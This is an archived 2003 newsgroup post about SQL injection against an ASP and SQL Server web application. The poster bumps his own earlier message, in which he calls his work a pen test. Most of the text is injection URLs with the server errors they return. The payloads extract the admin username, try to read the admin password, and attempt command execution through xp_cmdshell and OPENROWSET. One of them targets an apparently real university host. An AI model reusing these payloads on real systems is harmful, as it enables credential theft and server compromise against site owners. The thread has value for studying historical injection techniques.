

## Re: SQL Injection ASP+SQL Server (problem) !?

**Source:** <http://www.derkeiler.com/Newsgroups/comp.security.misc/2003-07/0324.html>

---

**From:** Wendel ([wendel\\_at\\_hadrion.com.br](mailto:wendel_at_hadrion.com.br))

**Date:** 07/25/03

Date: 25 Jul 2003 05:06:14 -0700

UP

(Wendel) wrote in message news:<99b40b3f.0307231126.53659811@posting.google.com>...

> Hi,

>

> I'm doing a pen-test in a WebServer running Win2K + IIS + ASP + SQL

> Server (filtred for internet connections).

>

> The IIS appear to be very well patched. I'm trying SQL Injection. :)

>

> I found a bug in ASP Script... see:

>

>

> [http://www.server.com/portal/index.asp?local=read&id\\_notice=\(select%20min\(user\)%20from%20users\)%20--](http://www.server.com/portal/index.asp?local=read&id_notice=(select%20min(user)%20from%20users)%20--)

>

> I received the name of the min(user) in users tables, see:

>

> Technical Information (for support personnel)

>

> Error Type:

> Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)

> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

> the nvarchar value 'admin' to a column of data type int.

>

> The username is "admin". Now i want to know the password of "admin" i

> tryed:

>

>

> [http://www.server.com/portal/index.asp?local=read&id\\_notice=\(select%20pass%20from%20users%20where%20user](http://www.server.com/portal/index.asp?local=read&id_notice=(select%20pass%20from%20users%20where%20user)

>

> But i received it:

>

> Error Type:

> Microsoft OLE DB Provider for ODBC Drivers (0x80004005)

> [Microsoft][ODBC SQL Server Driver][SQL Server]Subquery returned more

> than 1 value. This is not permitted when the subquery follows =, !=,

> <, <=, >, >= or when the subquery is used as an expression.

>

comp.security.misc: Re: SQL Injection ASP+SQL Server (problem) !?

> 1 – Someone know how to do it return more than 1 value ?? can give-me  
> a example ?

>  
> I tryed it too:

>  
>  
> [http://www.server.com/portal/index.asp?local=read&id\\_notice=\(select%20min\(pass\)%20from%20users%20where%20](http://www.server.com/portal/index.asp?local=read&id_notice=(select%20min(pass)%20from%20users%20where%20)

> And i receive it:

>  
> Error Type:  
> Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)  
> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting  
> the varchar value

'{0049-0096-0145-0200-0246-0288-0365-0392-0289-0320-0353-0384-0417-0448-0481-0512-0545-057

> to a column of data type int.  
>  
> 2 – But it isn't a "password", it appear be a registry key. Someone  
> know what is it ?? And how to do it work and see the password ? :)

>  
> 3 – I tryed to create a SQL Transaction like this:

>  
>  
> [http://www.server.com/portal/index.asp?local=read&id\\_noticia=";%20begin%20declare%20@ret%20varchar\(8000\)](http://www.server.com/portal/index.asp?local=read&id_noticia=)

> I receive it:

>  
> Error Type:  
> Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)  
> [Microsoft][ODBC SQL Server Driver][SQL Server]The identifier that  
> starts with ';' begin declare @ret varchar(8000) set @ret=':' select  
> @ret=@ret ' ? user '/' senha from users where user>@ret select @ret  
> as' is too long. Maximum length is 128.

>  
> Someone know why i received this error ?? I overfflowed the sized  
> allowed in paramter by variable in ASP ? or in SQL Server ? How to do  
> it work ?? :)

>  
> 4 – My last doubt. I tryed execute commands with xp\_cmdshell.. see:

>  
>  
> [http://www.server.com/portal/index.asp?local=read&id\\_notice=0';EXEC+master..xp\\_cmdshell\(cmd.exe+/c\)--](http://www.server.com/portal/index.asp?local=read&id_notice=0';EXEC+master..xp_cmdshell(cmd.exe+/c)--)

> and receive:

>  
> Error Type:  
> Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)  
> [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark  
> before the character string ';EXEC master..xp\_cmdshell(cmd.exe /c)--'.

>  
>

comp.security.misc: Re: SQL Injection ASP+SQL Server (problem) !?

> OR:

>  
>

[http://www.server.com/portal/index.asp?local=read&id\\_notice=1';EXEC%20master.dbo.xp\\_cmdshell'cmd.exe%20dir](http://www.server.com/portal/index.asp?local=read&id_notice=1';EXEC%20master.dbo.xp_cmdshell'cmd.exe%20dir)

>

> Error Type:

> Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

> [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect

> syntax near ';EXEC master.dbo.xp\_cmdshell'.

>

> OR using quotes:

>  
>

[http://www.server.com/portal/index.asp?local=read&id\\_notice=1`;EXEC%20master.dbo.xp\\_cmdshell'cmd.exe%20dir](http://www.server.com/portal/index.asp?local=read&id_notice=1`;EXEC%20master.dbo.xp_cmdshell'cmd.exe%20dir)

>

> Error Type:

> Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

> [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect

> syntax near '^'.

>  
>

> And tried too (use the bug to exec xp\_cmdshell stored procedure with a

> non privileged user):

>  
>

[http://www.server.com/portal/index.asp?local=read&id\\_notice="';\(SELECT%20\\*%20FROM%00OPENROWSET'SQL](http://www.server.com/portal/index.asp?local=read&id_notice=)

>

> I receive ... again the error:

>

> Error Type:

> Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

> [Microsoft][ODBC SQL Server Driver][SQL Server]The identifier that

> starts with ';(SELECT \* FROM

> OPENROWSET('SQLOLEDB','Trusted\_Connection=Yes;DataSource=MY\_SERVER','SET

> FMTONLY OFF execute master..xp\_cmdshell' is too long. Maximum length

> is 128.

>  
>

> If i try:

>  
>

[http://www.liape.unaerp.br/portal/index.asp?local=ler&id\\_noticia=\(SELECT%20\\*%20FROM%00OPENROWSET'SQ](http://www.liape.unaerp.br/portal/index.asp?local=ler&id_noticia=(SELECT%20*%20FROM%00OPENROWSET'SQ)

>

> I receive:

>

> Error Type:

> Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

> [Microsoft][ODBC SQL Server Driver][SQL Server]Could not create an

> instance of OLE DB provider 'SQLOLEDB'.

>

> What i'm doing wrong ?? How to do it work ??

comp.security.misc: Re: SQL Injection ASP+SQL Server (problem) !?

>

> *Thkz a lot.*

>

> *Best Regards.*

>

> [ ]'s